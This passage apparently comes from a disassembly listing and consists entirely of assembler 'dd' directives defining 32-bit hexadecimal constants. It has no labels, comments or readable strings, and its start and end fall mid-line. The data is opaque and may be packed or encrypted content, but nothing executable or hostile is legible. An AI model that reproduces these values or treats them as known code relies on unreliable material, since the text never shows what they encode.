76F7ED63h dd 4F590739h, 709B73A6h, 0B7767930h, 89BEB800h, 55AD7BA5h dd 249673F1h, 0D8DBC6h, 0A49B2D8Dh, 0E50049F6h, 0F47AA7ABh dd 241E1Dh, 0EBC9CDC6h, 64F52B58h, 8B00B278h, 737E3D86h dd 3BFA71h, 6002202Ah, 0D398119Dh, 4CF7C12h, 30486800h dd 193B8BAh, 0C9161E3Dh, 705F28F1h, 0E82818C3h, 0EE008C1Fh dd 378AFA86h, 0B78806h, 4F9793BFh, 82B02911h, 619475Ch dd 8DBBEC16h, 4A45FC10h, 43BC38h, 0BC2472ADh, 13EA811Ah dd 31DE06h, 61B9E628h, 0A500F9F4h, 8F53332Ah, 0ACA7EAh dd 79C40686h, 1643011Dh, 3FA49900h, 0C352BB46h, 77FE01F0h dd 42265466h, 0ED13E833h, 9C00AB75h, 7AFDA4D4h, 0A9479Dh dd 8BE3B5D3h, 0A7391C54h, 3B82A007h, 0CB90F6F5h, 1421DA3Fh dd 0A43557B1h, 9EE71C00h, 0D940256Dh, 23779403h, 0B16B3Bh dd 24C38F39h, 971C6591h, 0E8DA7330h, 0E59069Eh, 9238B026h dd 0E4259FE0h, 0BC0012CDh, 864EC154h, 7CE6066h, 5E895682h dd 40285750h, 0CABD97A0h, 0E05B2000h, 737652Eh, 0E15A00A5h dd 0BBDBB54Dh, 6701D8FEh, 0AF40DD2Fh, 74C478CAh, 0DC571684h dd 0B6FA047Bh, 406C8769h, 0FFE8F7F9h, 6200A490h, 3A1441F4h dd 0F4462D36h, 8DA500AAh, 0BF748965h, 0E324439Ch, 0CC0030FEh dd 0E48F2813h, 0FDCE09ADh, 24878C36h, 0B07C37BEh, 0D5534E4Dh dd 24AC8B01h, 0D3FDDEEBh, 354B3881h, 8738E94Ah, 7B7D8B11h dd 3A4E8FD1h, 397C8840h, 0E04D00B3h, 0B9275C7Fh, 6D008997h dd 3E409309h, 2478878Fh, 1242F0Ch, 478B6B91h, 81E221ACh dd 0FE076DC8h, 442116AEh, 5C88E0h, 0FBD4FCA0h, 0DB7D8EE7h dd 1D9C090Fh, 0FE598011h, 0C6DA149h, 4D04553Bh, 6E3B27C8h dd 22148F46h, 0D4FB40A7h, 138F2058h, 83D30Eh, 8118E4C2h dd 560CFCCBh, 0D0517AC8h, 0DE8B076Eh, 1024B67h, 89E01E3Eh dd 0A26FEFA9h, 0C07F80BCh, 3D3A03h, 25411B23h, 0A847C9B2h dd 30805C58h, 51401112h, 62DB0014h, 9515D15Dh, 0F09007ACh dd 0DC00197Dh, 0FC46F503h, 0D52F3h, 0BB67735Bh, 92527B7h dd 0B9075970h, 0BAC5EF8Ch, 13B12EE0h, 0BB1C0452h, 0C09E43AAh dd 7AE1C654h, 20F20F00h, 0A832F448h, 0AEDE0060h, 69805A55h dd 0E300FD9Eh, 0EC866883h, 4CBDE46Ch, 0E000B05h, 0A3EEE74Eh dd 6A4CF00Fh, 6CFE0FB9h, 0C0B340F1h, 89FF24h, 0DD4E513Ch dd 5C258359h, 7007A37Fh, 78A93F45h, 0DFA5C830h, 5DD70021h dd 16097743h, 20019F37h, 12070CAEh, 0DC80DFAAh, 7614D658h dd 2301996Dh, 985E0F89h, 0AFC817CEh, 1F70B020h, 40346237h dd 0BEAB3D63h, 9400C1A0h, 0C4B31E69h, 0A57715h, 42DE4901h dd 0A75D17Dh, 740E2C1Ch, 76945080h, 7BB1F58h, 0D248BCE6h dd 9672424Ch, 0F4688161h, 9400DF78h, 2F07A53Bh, 89481Eh dd 207E32FDh, 0FFBB72A6h, 0B694AD00h, 925B4EEBh, 27F00A9h dd 3E4B76Fh, 6E007590h, 0D2DABD8Ah, 597C37h, 221A29A5h dd 0E4CF7D7h, 4E663F00h, 5F336550h, 904D1D5Dh, 7391807Ch dd 25FF6CEAh, 0C9001071h, 9CF3C872h, 0E2954647h, 0B1FC68h dd 0F2F766CDh, 93EF506h, 4A6D670Ch, 0C128C9h, 1C3357A6h dd 69A77E40h, 72345300h, 145A6322h, 0F4700CCh, 0F3CE1B16h dd 5100DBE2h, 949375EAh, 1CB67BAh, 6C2D6B47h, 0F0908A79h dd 0D3006096h, 9F4CAB99h, 48525ECh, 7DEF8270h, 5ADCC02Ah dd 9B2CC5FCh, 0C89EECC4h, 13473000h, 743B975Ch, 0E6AB24E9h dd 0B2BE00E0h, 0A78760E0h, 7F02B798h, 6FD9EEAEh, 275C6882h dd 47150F98h, 38612CB0h, 302D2667h, 0D03F978h, 87D680A7h dd 0FAB3D0FEh, 58511334h, 40F802A5h, 0A0404FF6h, 2400C7BDh dd 3CC566D5h, 705057h, 148E0D1Bh, 1EFDA164h, 0A49AE802h dd 0C0324373h, 0F537DCh, 2D46C5ECh, 0D0978A5Ah, 1AB04290h dd 32920D16h, 0DEB89001h, 0F875B96Ah, 623BBCCh, 8367CB21h dd 4F00C06Ch, 43B53ABAh, 0C9F2EAh, 0C83533A3h, 0B861D974h dd 4B10CC00h, 4AE43CFCh, 0E0D80008h, 0B2FE813Ah, 0D575999Ah dd 737E53Fh, 0D81B61A0h, 40C4094Eh, 8A56BCh, 0D1BB798Ch dd 972AFAF2h, 9E004098h, 1D4611B3h, 32EC0E3h, 32AE6342h dd 991D741Fh, 0E9C2B58Ah, 80B07D59h, 684C7CD4h, 40C25C9Ah dd 28F53019h, 0B1BCDCFBh, 696F8D01h, 0B76EF95Ah, 0E85B3080h dd 0AA43A308h, 52A04B00h, 7C71F2E0h, 215F00D7h, 3DD84163h dd 7A00D9DEh, 19A06E88h, 67E7F8h, 5F8D2656h, 0EB51CD0Dh dd 0F5FE3600h, 85ECAFCh, 7E407C8h, 0E0A01049h, 5935DE5Dh dd 2FA11607h, 0DA604E0Dh, 0ECB83BEDh, 0AD7677h, 73803633h dd 53E8BCC6h, 390BF81Dh, 2428CCBCh, 680E4C2Bh, 4F570095h dd 39829F34h, 3A025B37h, 77EA18CBh, 6815C4C0h, 0E0A1ED30h dd 8A5474h, 8BD33A21h, 26B6489Ch, 0EE6C7500h, 731A83DDh dd 0A77D05E5h, 5EF8F7C0h, 0CA1C80ACh, 0C2725CB3h, 0ED8EC509h dd 3958002Eh, 30207B59h, 0D102C92h, 0CE26C250h, 0F5043891h dd 0C3C04DFFh, 160A5CA6h, 677F9F3h, 0C09757A1h, 79B01C00h dd 2E9CDA14h, 0EBEE0067h, 3EAD7396h, 0CF006D06h, 0E0A1D50Ah dd 6C4B18h, 8C690D46h, 0D8A9BF75h, 4F6EAB0Eh, 0E500B79Bh dd 0C1028B6Ch, 0C7CC008Dh, 52DA466Dh, 31005F8Ah, 79A0143Fh dd 745B55E1h, 9120072h, 1964B0A9h, 840043D2h, 0A3788EAFh dd 0D942FAh, 1329BDF4h, 0BFFE552Eh, 9C3897F2h, 483B8E36h dd 5E9E003Dh, 1E79819h, 127C3B6h, 0E4A958D5h, 263DD37Ah dd 9EED0549h, 0F000602Ah, 0A1D1C6D8h, 7F6F2E9Ah, 0D4C80418h dd 0EE7C83D0h, 0F04CC0BCh, 50E26D7Dh, 1314E402h, 80D0DF72h dd 0B67871ECh, 899CA08Bh, 247601B0h, 2BEADB06h, 0CAD4425Eh dd 0DE9C6860h, 0D50B3FF8h, 840AECFCh, 58809FFBh, 18108A53h dd 6092CE9Dh, 9C00591Dh, 0F011BED7h, 0EB4AB4h, 0A55B9BC8h dd 0F7D6F03h, 0B3008290h, 0E5F75632h, 19884ACFh, 88346A3Ah dd 5DEF08B0h, 4A00C4BCh, 0B895FCBEh, 710CE212h, 70FB870Ah dd 1744060Dh, 0D03378CDh, 2B400EEAh, 0BE590C9Dh, 5A28F414h dd 8118267Eh, 9310F54Ah, 123EC63h, 2F8CCC92h, 20A0A95Eh dd 51DCB68h, 6BC05D68h, 5AE0B828h, 357D00C9h, 0A546587Bh dd 6255A113h, 1628E4A8h, 872BFE1Eh, 0BB7F2C0h, 1EDEB259h dd 0C0FC95F0h, 0B1CB9D6Bh, 4F2C5882h, 0D7006B24h, 8C11BD44h dd 2E5E0018h, 2FDB9C17h, 5A022A78h, 8F96C24h, 189C611Dh dd 17D919F4h, 478CF7AEh, 0E05365E8h, 25C32473h, 91012DE2h dd 0A6661DAAh, 382CF1D5h, 80542B00h, 0CF8F29E0h, 2F242AF2h dd 0AB05B9CEh, 84C00C01h, 18FFF16Eh, 100D41F0h, 0EB172ED9h dd 2C007CE2h, 4506F407h, 1D5B0E1Ah, 0DD603F8Eh, 0C164B1EBh dd 0C4253200h, 0A9D9B49Ah, 0B9330068h, 0EAFDD3ACh, 789E7F0Ah dd 77B0B200h, 1CCE188h, 8C267EDFh, 0D4EF35C1h, 30730343h dd 3E331D00h, 2A479D72h, 8DA200A3h, 0E1DE2CBBh, 0A700FC52h dd 8E7A8A30h, 503A6865h dd 0A6DC03h, 36E829D7h, 0F1BF4E7Ch, 4011FB00h, 84833153h dd 0A30500C5h, 8DEF4782h, 5C006DEDh, 793EE594h, 1F816AEEh dd 0B2C0CAEAh, 50CEF2A8h, 472A0C00h, 6937C194h, 5D2C0336h dd 0F659F796h, 0D449EEC0h, 6631DB04h, 0BCE063CCh, 1C96E4C9h dd 12C6ADBFh, 6C28015Ch, 0ECF40131h, 100F63F7h, 490C5A12h dd 9A098013h, 0DFEEA1h, 0A7687982h, 0B8FD2EB5h, 0CC983074h dd 0E87A041Fh, 8AA4CE43h, 63678049h, 0D6821F66h, 641A8352h dd 6BE8222Ch, 0BC057C35h, 32F18BDAh, 1AB668D0h, 0C33B3FD2h dd 276CA580h, 9B1092F8h, 2539BB00h, 0FB835508h, 2C3B00AEh dd 8A6DE66Eh, 0DD3EB691h, 0FA5A8079h, 923EF121h, 0B23B0064h dd 85327895h, 10580603h, 8C8F008Bh, 0C71927B1h, 246700EEh dd 1CCA9C56h, 0FAEC0709h, 60DB0E00h, 803EF7C3h, 58171FEEh dd 0FC04BA88h, 87E4859Dh, 8E4A0094h, 0B1F9915h, 0DFC0C129h dd 132A651Bh, 71DD038Ch, 5194A7Bh, 0A52553E0h, 81E02900h dd 0F6804BB8h, 9BE300C4h, 8A8CF9D0h, 442CFAC8h, 1600AC20h dd 6C2B5E67h, 38C918CFh, 25B01123h, 60AD6200h, 3DD1BDCDh dd 75BA00A8h, 2B260A0Bh, 0FC00A30Dh, 494432Dh, 601DABh dd 1B99B8C5h, 355D9F83h, 0B22BBB00h, 5F703CEh, 0C348C25Ah dd 0C805C79Eh, 386B6040h, 3D6C868Fh, 0B9007808h, 0AADEF98Bh dd 5B1614E3h, 3001BE0Ah, 99E70EAh, 30C7FCE4h, 0F6F0046Eh dd 0E3E81303h, 0BFB57500h, 51096C6Ah, 0E8BD00C1h, 0D3369498h dd 0A8006757h, 524E3AF1h, 39103B8h, 809C26F0h, 74A0E7BEh dd 5800C847h, 6AB4ED53h, 0C114ADh, 255FF90Ah, 8C8E4405h dd 9A4E7700h, 82E8C2B8h, 0C3D80089h, 87199C6Ah, 79000D99h dd 0EBD59616h, 1DC21D4Ch, 0C0622971h, 54383A55h, 230146A8h dd 6B3E277Ch, 0AAD0128Fh, 174300D5h, 0C466E578h, 4500ECAEh dd 382851A3h, 0DFDAE479h, 0AA700020h, 3E2B7471h, 751E0839h dd 61D11800h, 0BDB7A0B4h, 0E5130062h, 362FFF11h, 8E00D97Ah dd 83745658h, 9B0B8Fh, 193B7C8h, 7538F54Fh, 82633209h dd 67A5832Ah, 66A887Bh, 0D11C00C9h, 5D69D8ECh, 0A50E1622h dd 23AFCE11h, 0F0C124B6h, 728F6Eh, 9E020A9Fh, 658BB404h dd 20BC4900h, 0BEDA1381h, 649285h, 77DC1AD7h, 0A07B4CA9h dd 0D57EBCE0h, 282D8624h, 56D5C58h, 39D7BB0h, 18D918E3h dd 1B007FB8h, 3CA80986h, 33D90Eh, 0F1766659h, 0D5DB087Ah dd 75783872h, 9BF57E01h, 0D777B779h, 176E1DCh, 0BB9190AAh dd 0F4382175h, 803F63Bh, 0B03A8D8Ah, 9487A83h, 0E24DE958h dd 0D6D85038h, 4A4F8E00h, 5E8B784Eh, 0F4C0007Eh, 3E056EEh dd 0C20002A6h, 1CEBAFEAh, 5C08DCh, 2A0BDF76h, 65D89627h dd 8E832B07h, 5FC07F12h, 2336988h, 0CB20BF77h, 0CC881A4Dh dd 6DF001ECh, 0E53A1835h, 4FB3D0E1h, 0F1136600h, 2EAD97AEh dd 7CBE00BDh, 1B7DE7BBh, 0B006E26h, 33A5827Ah, 1A9B4EFh dd 924A538Eh, 0CCD4B8FEh, 8900F7A3h, 3A3B4D37h, 2BC60h dd 0BA9476AAh, 0DC7D6271h, 0CF8E5A00h, 0DFE80BE3h, 59820055h dd 20B205A8h, 99EE6322h, 6C389578h, 0D7B601B3h, 8E73DD9Fh dd 198F140h, 0B62043Fh, 0C7E8F4E1h, 0F21AD178h, 8187101Dh dd 0F97D7Ah, 0FE9C1121h, 402C7FBCh, 0B8F5A628h, 4598B00h dd 4EF306C3h, 0F840093h, 347ED50Eh, 660090EBh, 58978925h dd 0FE20F4h, 1A43CF5Dh, 379FB5Ah, 0DF03C37Dh, 0D059F17Bh dd 52E2F8BAh, 0AD7D0784h, 3FAF9EDh, 90B8D91Eh, 0AF006720h dd 55DB8A4Ch, 38D00E06h, 21039EC4h, 2A3CE6E5h, 2BD4F3C8h dd 0FF009570h, 3AF7C20Ah, 0B82940h, 7F189A5Bh, 4D1A8BADh dd 0EA9CC300h, 3CA3DFD6h, 0D30A0396h, 0ADB49927h, 0E76A0DE0h dd 1186D10Eh, 0AA300D2h, 72046509h, 0BBCC01BFh, 0BD83DDC7h dd 717FF048h, 17A58C00h, 4C949C3Fh, 566B248Fh, 6028E0h dd 1D632BF8h, 692F35D3h, 0ACE2FB3Fh, 0A10028D1h, 7AE0AB58h dd 1C16FABDh, 0E4576B7Ch, 0A7176Fh, 0F6D261F7h, 0C8005E1Ah dd 0DBFAB0C0h, 0B07B9A1Dh, 0F490ECh, 0F5666C90h, 0E2E9A852h dd 0B515670Ch, 625C80A0h, 0B9C410FAh, 4D806A27h, 48E613h dd 0EBCF734Ah, 36064104h, 86FD41Eh, 0E7029900h, 0B7398Dh dd 41AFFAF0h, 0B7347C2h, 0D90E6230h, 0E6B2438Eh, 0D38C005Eh dd 8606F836h, 0C8008341h, 0B0B71D66h, 6092181Fh, 960B3035h dd 8000C195h, 0EA5EFE59h, 74FD25h, 16655210h, 88BBDBDCh dd 0D3EFA900h, 3FE25A3Bh, 0F892041Fh, 0C499823Ch, 37E5C02Ah dd 0B35898C4h, 3684004Fh, 68437BB4h, 6B8300EAh, 0EED138D2h dd 770239F9h, 1A5BC8A1h, 935C8110h, 38DC65BCh, 88990012h dd 325FD6Bh, 0DA0028E5h, 0FF1D56AEh, 2C1CB7h, 920275C6h dd 0D1D9633Ah, 5FC84260h, 5E0866Ch, 0DA5E7A8Fh, 8EC40797h dd 23801E17h, 0A034B9Ah, 0F4302560h, 0B0BDB9C7h, 0D39335B6h dd 1CE40120h, 4E620A44h, 21933F20h, 0EFC08210h, 1B60043Bh dd 0E36085BAh, 0B2BB0B39h, 1DD303D8h, 347D4A6h, 0BC01092Ah dd 0D90ADB1Eh, 0B6900AFCh, 8B41C8EEh, 8E0E91Dh, 39DE7061h dd 76007B11h, 0B84F5B91h, 5700B48Ch, 0B622732Bh, 14A3C7F6h dd 88019294h, 2AD7510h, 36E70976h, 87B0800Ch, 49834C0Bh dd 0D5018099h, 0E6C557D4h, 0F66FC5Ah, 79D6123Ah, 53421C0h dd 1683257h, 6341FD70h, 0BF430A6Dh, 0D2F018A0h, 0A1A9E729h dd 53F1AFCCh, 0C0884400h, 0B59B28C1h, 0D9F47B0Eh, 8743106h dd 5392EFE0h, 1EA1FD90h, 0C3984CE4h, 1DDED904h, 0CE33D6EEh dd 2300217Dh, 2A4258D9h, 3E61A850h, 0A47E9086h, 57DD026Ch dd 0D6E2E6C0h, 4F12FE19h, 0AD420009h, 306D47ABh, 0F9619D8Bh dd 0E5003CE9h, 5796E29h, 760B498h, 0FB595216h, 750D90A0h dd 1712942Dh, 5C410312h, 377A3CABh, 198740C8h, 876F682h dd 3604341Dh, 0E000737Eh, 0C6957113h, 35F2802h, 938D9B06h dd 28405292h, 0F48C42D0h, 0F01F0A5Ch, 0E564A84Ah, 0BEC8C03Ah dd 48006EE0h, 0A288F6EDh, 0DC760DB7h, 2F1A8379h, 0C69B2312h dd 486023h, 0E6B957D8h, 4486AFBAh, 80058C4h, 0FFE87557h dd 91907AB4h, 18817920h, 22DB3F45h, 7E95B101h, 22FAD94Bh dd 174409F8h, 0AE1420C1h, 3815D24h, 33064BF1h, 4918802Fh dd 0DFD1480Dh, 714D03C7h, 10B8AEECh, 0F1EF2FE0h, 30C45A30h dd 0ED1FA0h, 0D082EB06h, 0C56ADC75h, 0BCDB61C0h, 65C2250h dd 5491678Ah, 6C340842h, 91802076h, 1D559550h, 0C39E5635h dd 0C06E6A48h, 0F38A80F8h, 0BC6C3300h, 15E2D066h, 78C800D4h dd 9D038F3Fh, 0AF0F3E87h, 80D58870h, 1942C18h, 0A14B06FBh dd 865633Fh, 3887BE30h, 2945B2Eh, 9CA756F4h, 810978D5h dd 0F7BA87BFh, 171D3ECh, 3182A54Ch, 60614E32h, 0EA723303h dd 1E09AB03h, 1862278Ah, 59BABB38h, 85002F2Ah, 0BCA7342Ch dd 905CDCh, 0A6CE6044h, 879AA1FCh, 71543252h, 0E6FD9408h dd 408FC42Bh, 1B946622h, 3AEB0329h, 0E51023E9h, 0B788F83Fh dd 0B180B946h, 1D62530Ah, 2824AC3Dh, 2314688h, 0E78A942Fh dd 108B3153h, 0F9460A3h, 0B49AD3F3h, 0EE7FDF83h, 0CEBA691Eh dd 0BFBEABC1h, 0BC50F55Bh, 148C39h, 0A63C9BCAh, 56721285h dd 4D1F4800h, 1CD304A2h, 0E790002h, 9E2C2971h, 0E5FDC8EAh dd 0F55980DFh, 761DB0FDh, 82D50797h, 43D4FF6Eh, 2000CB8Ch dd 74BE9414h, 595C83h dd 0C235B0EDh, 0B13FA67Eh, 296A0437h, 2076FD50h, 0D559C53Ch dd 0A4B80028h, 54F0C32Bh, 1FD06A03h, 39E48C0Ah, 0A68A96F0h dd 74C833FDh, 9B008446h, 606AE5EFh, 3500FBD2h, 0D6D76305h dd 64964AF3h, 8255997Fh, 0A4AE2054h, 51A2D461h, 0A8A05084h dd 4A5C65DAh, 0B45C03D7h, 0A369C010h, 562100EBh, 7D56433h dd 9700BA6Ah, 3F081CB8h, 30EE7BA9h, 0D2990E1h, 3062A63h dd 0B1BA96EBh, 9A4819h, 0C030E6BDh, 1AD0E658h, 0C0C4B191h dd 27F4A820h, 90000B8Fh, 670F3E30h, 3A71003h, 0ADD8813Ah dd 4878E3C0h, 9D5D780Ch, 683924h, 5ADD444Bh, 0B280BB97h dd 30C57F3Ah, 73F3216Fh, 95F80044h, 0AD65EB4Eh, 0D7078EA5h dd 0CF7A778Ah, 78269670h, 0D06598D0h, 3810A4F1h, 65CCC050h dd 43C00E40h, 0D5191069h, 64240072h, 13CA08D4h, 0EC3AB225h dd 5BF1F28h, 38204100h, 342CE7Fh, 3C9D5201h, 0A16433E0h dd 41605FD0h, 5B10DF44h, 0D7C8A8C7h, 44728980h, 0FB13B18h dd 7723F3C3h, 842B6987h, 6EA8889Ah, 0CAEAB007h, 0ACD082AFh dd 14DFAD5Eh, 0A0D7FCE7h, 8CD7BCh, 0C06F0276h, 0AC6ECF17h dd 7BBA4215h, 0DAD800FCh, 41041C35h, 1848E05Dh, 41253D20h dd 1D00135Ah, 0F255CF26h, 243A4E81h, 7301662h, 0AAE5199Ch dd 9D5D1C88h, 0B1180E4Bh, 1E888DE0h, 0BC00C374h, 30B0133h dd 3C5B77h, 2F818651h, 18907502h, 27DD0D1Eh, 8D847A07h dd 0DBA395C0h, 0DA06054Fh, 0C1BFBD1Eh, 80FF30EAh, 6231B240h dd 338C747h, 4F3A1F15h, 1EEA33A1h, 48EA8A00h, 0C9702Bh dd 54933C90h, 3804E29Dh, 23EB1B0Fh, 0B0C01CB9h, 8E1691AEh dd 43AB00DCh, 0B6A699B2h, 337F892Fh, 0E764841Ch, 0F447BC07h dd 0EC833F50h, 0B95C0059h, 0C63C34E3h, 0F500176Fh, 72D6944Eh dd 161E7DBh, 5BF8C98Eh, 80DF8621h, 0CBC0E2C1h, 0B04E9Fh dd 90D661AAh, 2001060Dh, 7451991Fh, 5C1E3540h, 5258A8Eh dd 0A4B9A7E3h, 0E8AA05C2h, 37EEC021h, 80C05C90h, 7148779Dh dd 25B23FF8h, 0FAF35980h, 0EE9585CBh, 0B43248h, 0A01E0C4Eh dd 677EC6Ah, 0BE7C4883h, 8C0316E6h, 0BF33518Bh, 0F2C00216h dd 8908F930h, 325A080h, 3D001418h, 48E95B9Bh, 1810AD38h dd 805A2697h, 9900691Bh, 3F534403h, 12A116h, 0E83B0F5Eh dd 845C9581h, 198B5400h, 0B8824B2h, 0D2C1C07Fh, 2AC6C2AFh dd 56C04C50h, 28E3200h, 9395B551h, 72501D10h, 62C280D9h dd 0BF75BDD8h, 5AE7A202h, 911603h, 9B6C349Dh, 10EB2B00h dd 0BE27D085h, 20A81507h, 7D0080F3h, 23665D76h, 0E00010CDh dd 59AEC928h, 60DB5E62h, 0EA718039h, 0B905BB46h, 0F44F1D9h dd 7819E053h, 43D8CFC0h, 345901D1h, 7DCD8D1Ah, 0F1DC8A2h dd 0E5E55A40h, 2E24E040h, 96C3038Dh, 86A1336Ah, 55181998h dd 0A548B500h, 0E92304E7h, 97441C94h, 74680DFh, 4A9DF1D2h dd 2C3340C0h, 24139h, 1CCB7960h, 0BD1219A2h, 46502D00h dd 99DF0BD2h, 0CE103CFh, 52734235h, 1921FAD0h, 72A4DB09h dd 0ABD0E2Eh, 0E0E8EDCh, 6D2320E7h, 957EF4h, 9D6BFE4h dd 0B461692Eh, 937AF90Eh, 240C20BCh, 39CAA9FBh, 6E00EB75h dd 5972FCD8h, 0B57F25F5h, 21BD7B1Dh, 5C034070h, 5ACB4CA2h dd 0CEB31800h, 0A7742986h, 0AA320400h, 548B77D2h, 6EF7000Fh dd 4E576C3Dh, 7228AB1Eh, 0A16E05Bh, 7C04152Ch, 0EA00D51Bh dd 1A14E73Ah, 3C325426h, 7FE5AB81h, 66E12D85h, 4A017836h dd 4F5BDA44h, 893C0CC5h, 25B030F2h, 0FEE7400h, 17C90B05h dd 0BF5B2CC8h, 96CE8F64h, 48098AC0h, 4E000D65h, 0FD821CF3h dd 415D8Ch, 0D7D48990h, 0BA190B7Bh, 0E000F27Ah, 24D8E4C8h dd 18483694h, 7065A32Ch, 0DD133A5Bh, 880BF0CFh, 2D4F8079h dd 1EF5A1E0h, 0A5CD1Dh, 0E1F38568h, 790AF087h, 202D5448h dd 430A8F70h, 52EA002Eh, 0D83F117Ch, 5E7D95h, 0D1ED7E92h dd 4DC5D9A1h, 69992303h, 0F8425A72h, 679C0FDBh, 0C10870DCh dd 0F03FBAEAh, 490CCD4Dh, 10843A01h, 90DC5894h, 0A22F6D06h dd 709830B0h, 4070DE1Ah, 0E47067F0h, 0D029606Fh, 0F0225457h dd 78BC5D85h, 4C1FB900h, 6A385F39h, 967F9801h, 0C85CEB8Fh dd 85A2B473h, 7EE96C30h, 0FE800009h, 0F775CDAh, 0A8A0F034h dd 79C0BD68h, 63EF1F44h, 0FA00C85h, 0ED20F4ACh, 0F679B8B9h dd 839B518h, 834780DCh, 8CFB5DC9h, 1C524835h, 61C8EA01h dd 803C959Ah, 150B0710h, 6C87CBh, 8EA2A168h, 0A3F936C3h dd 18DEB3Ch, 34D3603Ah, 10D0BA11h, 3D5D0035h, 68E47A56h dd 0A9006C58h, 2B09879Bh, 0ECCC6h, 88927991h, 0F1DCAC1Bh dd 8CF46602h, 8A9217Eh, 4C18DC04h, 7110B0B3h, 6D2501A6h dd 0CE5AF5B7h, 978080A9h, 4CF351F7h, 369B0348h, 33F88BFFh dd 8DE2921h, 0AC90056Eh, 423E8484h, 2AED9A2h, 0C027EE2Eh dd 3C6288B8h, 401E8691h, 4D26430Dh, 0C89071C7h, 0B000201Eh dd 0DD9AE4D6h, 151DB4h, 3E62024Eh, 73C23334h, 0E0AB4C00h dd 63D6D09Bh, 0D3800DFh, 758EA47Bh, 0B000A6DEh, 81C56559h dd 5B97E137h, 14BA0E5h, 8C346000h, 0C87D8479h, 0FD3D000Ah dd 5F865482h, 4D004F9Eh, 9CC4BBEEh, 6E8D50h, 0E69179D0h dd 5B080339h, 58E7A700h, 713AA4E5h, 5DC50047h, 0D4DA8E2Ah dd 360B99E9h, 8527C49Dh, 0C0406D05h, 35A2F33Bh, 171D3A24h dd 8A80B4BCh, 933EBB43h, 41E60B2Ah, 0D0944F00h, 8FC6ED6Eh dd 21801E04h, 7EA9401Ch, 9E33DA87h, 7B01A2F6h, 227890D4h dd 46FC1121h, 3D598D6h, 0AADAB975h, 8008B6E0h, 3DD1B62h dd 8D787AB0h, 8703C4C0h, 0D4062F00h, 0B48C822h, 935E1DA9h dd 0B89EDD19h, 810CA400h, 0F7E244ECh, 0B0035372h, 0C1E05B8Dh dd 4151D8CCh, 821900C8h, 0A098CB47h, 4838D31Eh, 0EAFE80C9h dd 942ED197h, 0B62B00BFh, 0DC30455Bh, 5E60FC42h, 77CA3210h dd 3D491F37h, 3D9C053h, 0B14FE02Ch, 598BA503h, 168DBA5Ah dd 1D650E74h, 0E7A84004h, 0BEE886FFh, 5EF80600h, 0F44B4CE5h dd 1B283E3Bh, 0A1205603h, 0F2A8746Dh, 77024FC1h, 3505FE9h dd 9A848095h, 7E3901Bh, 0B17F411Eh, 0A97703Fh, 0B90068A8h dd 7074780Eh, 357B82h, 56FF50AFh, 0F92E4801h, 0B5C80F00h dd 0D9F58881h, 1CDFA75h, 0F2B762C1h, 0D40FBF9Bh, 4907471Ah dd 57A9ECBCh, 0E3590E10h, 3EF50033h, 0E689B3E2h, 2800CE8Bh dd 0AAC209DDh, 0A38C24h, 0B6106DF5h, 1256818Ah, 51005974h dd 0B2FFB51Ah, 12CB3D87h, 3C7AE44h, 0D0F2242Bh, 0D84CD187h dd 8868702Fh, 21085900h, 2B338ADDh, 71620086h, 8B22C105h dd 9100A2F0h, 0D568A615h, 70DCB0AEh, 9C600024h, 948A9DC9h dd 29005451h, 0F4BE4130h, 1AC77Ah, 0D38DB4F8h, 0E320384Ah dd 34CD1600h, 0F756EB53h, 0E63A07FCh, 518937E1h, 0E46FB3EAh dd 4201AB66h, 81A02B3Bh, 0FC207DCFh, 7B150E2Dh, 3EA0F55Bh dd 0E039B418h, 28002698h, 16D2A057h, 0CDB1BFh, 0BD738602h dd 6A532713h, 6CBAC00h, 0A7811B30h, 65C200D2h, 9D47897Dh dd 2A00E0D7h, 0AD4F3880h, 1CC6BE23h, 804C7225h, 12CF2FBBh dd 0A1002A17h, 3786A966h, 48538Dh, 7025DEEFh, 4383ECCEh dd 0F4874D00h, 1ACF36E9h, 9EED014Ch, 233BBC78h, 0C4D8CB48h dd 5500A633h, 0C99DCB7Ch, 3EE77E3Eh, 9801A041h, 9305BCD5h dd 1A09DC22h, 373B8D00h, 74B72681h, 1911009Ah, 0BBF36159h dd 5100CB2Eh, 639FC97Ch dd 3048434h, 0A2EEC215h, 5EC04ABEh, 0FA0050AAh, 32B49658h dd 2AC16h, 1749ADC9h, 5F1BA8A6h, 7487D101h, 5765DC4Ch dd 77ED29F8h, 5989007Ch, 0A1BA4BBFh, 2767462h, 164EC400h dd 655B35CCh, 8F870007h, 45156450h, 0C487F1Eh, 73582C37h dd 0FD49E401h, 43D8BAFCh, 243F3C9Eh, 8F3CCE00h, 0F78271E0h dd 566B5D00h, 7A4C481Bh, 1C78015Eh, 0B81026Fh, 0F88FE0EDh dd 0D42F8500h, 7BBD0DDCh, 0C8AD006Ah, 0F4741BFh, 5E2CAC15h dd 5200D679h, 847B24A2h, 4BC21DF7h, 4AFB809Ch, 0E41B8BB4h dd 0D912E805h, 52C1B648h, 0F4DC4699h, 0A3BE1816h, 3C14A8F7h dd 0D28E7814h, 56A50CA8h, 486F3072h, 0F71D9099h, 0F2BD00C4h dd 607068F1h, 50819400h, 0A07859B6h, 1AB20066h, 491F7B46h dd 4C0786B4h, 0F3BDDDC4h, 0ABD069C0h, 0A5EA01A2h, 1456F4Bh dd 601080AAh, 885754F0h, 70F70725h, 94115C9Dh, 0AB4880C4h dd 731C14AAh, 43037492h, 0E8327CB7h, 5C84EA46h, 0C50EF3Ch dd 0E52A07D4h, 90977682h, 7985FCCBh, 0B11CD300h, 8B1B7513h dd 6C020056h, 0F7BC88BDh, 311F8D3Eh, 5DC5E425h, 0A818E12h dd 0A77087C4h, 2E200044h, 323C03F6h, 8A000B36h, 55978180h dd 0C641B5h, 573C0B9h, 6D7A1507h, 57EFB300h, 6B5E72A9h dd 3C100B4h, 0FD9CC290h, 91001CE7h, 6A86D147h, 0F6318035h dd 0AF4B00B6h, 9CFE2472h, 0BA0E3F11h, 67E6B533h, 2390C68Bh dd 48293061h, 0D2001A4Fh, 40F55FBBh, 7300F622h, 2006726Fh dd 7589C68h, 0CCEBDAEDh, 23F960D4h, 0BA0016F0h, 9F22B169h dd 5BEEBDh, 0F46B3599h, 7A911F37h, 93D46802h, 80321C4Dh dd 9ECC9CC5h, 85F600EEh, 7ED9F90Fh, 560088ACh, 0E9EDE398h dd 0BF6335h, 850BE048h, 0FFCC2694h, 70E380FCh, 411DAE09h dd 7000B08Bh, 0EC1F2512h, 30BF60B8h, 0DEFDA82Bh, 0A6CE7403h dd 0A8917E32h, 921502Eh, 5517F349h, 0D5B99C87h, 94DEC0C9h dd 85E00A20h, 5FEC6900h, 103DF284h, 